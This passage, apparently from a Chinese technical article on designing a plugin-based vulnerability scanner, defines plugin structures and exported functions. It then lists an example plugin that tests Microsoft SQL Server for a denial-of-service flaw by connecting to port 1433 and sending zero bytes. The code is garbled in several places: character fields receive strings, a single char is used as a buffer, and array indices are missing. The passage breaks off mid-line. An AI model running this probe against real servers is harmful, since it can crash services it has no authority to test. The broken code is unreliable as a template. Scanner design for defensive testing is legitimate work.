,将文件的扩展名修改为NFS,由NFS的调用模块调用执行,编写的插件源代码包括如下两个数据结构:
struct RECORD
{ char classname[50]; //插件所属的类型名
char ID; //标名插件的类及成员关系
char membername[50]; //插件的成员名称
char filename[50]; //插件对应的文件名(不含路径)
char risk; //标名风险的等级
char description[300]; //该插件对应的文字描述
char advice[300]; //该插件提供的一些建议
bool mark; //标识该插件是否被某一
模板选中
}record; //建立信息说明数据库,内容包括插件所属的类型名、插件的类及成员关系、插件对应的文件名、风险的等级、提供的建议等。优点是主调模块可自动加载插件文字说明部分,存储到数据库中,便于主
程序快速调用,易于开发人员的管理和配置。
struct HOST
{ char ip[15]; //目标主机的IP地址
int mark; //标示buff的类别
char buff[200]; //动态返回信息
int timeout; //超时控制变量
}host; //指定了插件运行的参数,包括目标主机IP地址、动态返回信息及标示类别与超时控制变量,主机IP和超时控制参数由主调模块传递。优点是使插件富有灵活性和扩展性。两个标准函数:extern"C" __declspec( dllexport )BOOL InitFunc(struct RECORD *record)
和extern "C" __declspec( dllexport ) BOOL ApplFunc(struct HOST *host) 前者便于插件管理和使用,后者根据不同参数实现相关功能。
3.3 编程示例
在设计方案中依照扫描内容将插件分为20多类,这里对具有普遍性和代表性的例子加以分析说明(篇幅所限仅列出插件中主要函数部分代码)。
(1)检测Microsoft SQL Server 是否有DDoS漏洞
extern "C" __declspec( dllexport ) BOOL InitFunc(struct RECORD *record)
{ strcpy(record->advice,"过滤发向端口1433的数据包。"); //建议
strcpy(record->classname,"DDoS"); //类型
strcpy(record->description,"SQL server接收连续0信号TCP包时被非法关闭");
strcpy(record->filename,"mssqlserver_dos.nfs");
strcpy(record->ID,"6XX"); //编号
strcpy(record->membername,"mssqlserver_dos");
strcpy(record->risk,"严重"); //等级
record->mark=true;
return true;}
extern "C" __declspec( dllexport ) BOOL ApplFunc(struct HOST *host)
{ struct sockaddr_in sad; //structure to hold server''s address
struct hostent *ptrh; //pointer to host entry
SOCKET sd; char buf; memset(buf,0,6);
memset((char *)&sad,0,sizeof(sad)); //clear sockaddr structure
ptrh=NULL;
sad.sin_port=htons(1433); // SQL通信端口号1433
sad.sin_addr.s_addr=inet_addr(host->ip);
sad.sin_family=AF_INET;
sd=socket(PF_INET,SOCK_STREAM,0); // TCP连接
if (sd<0) {return FALSE;}
if (connect(sd,(struct sockaddr *)&sad,sizeof(sad))<0)
{closesocket(sd); return FALSE;}
buf[0]=0x00; buf=0x00; buf=0x00;
buf=0x00; buf=0x00; buf=0x00;
send(sd,buf,sizeof(buf),0);
closesocket(sd); Sleep(2000); //等待
sd=socket(PF_INET,SOC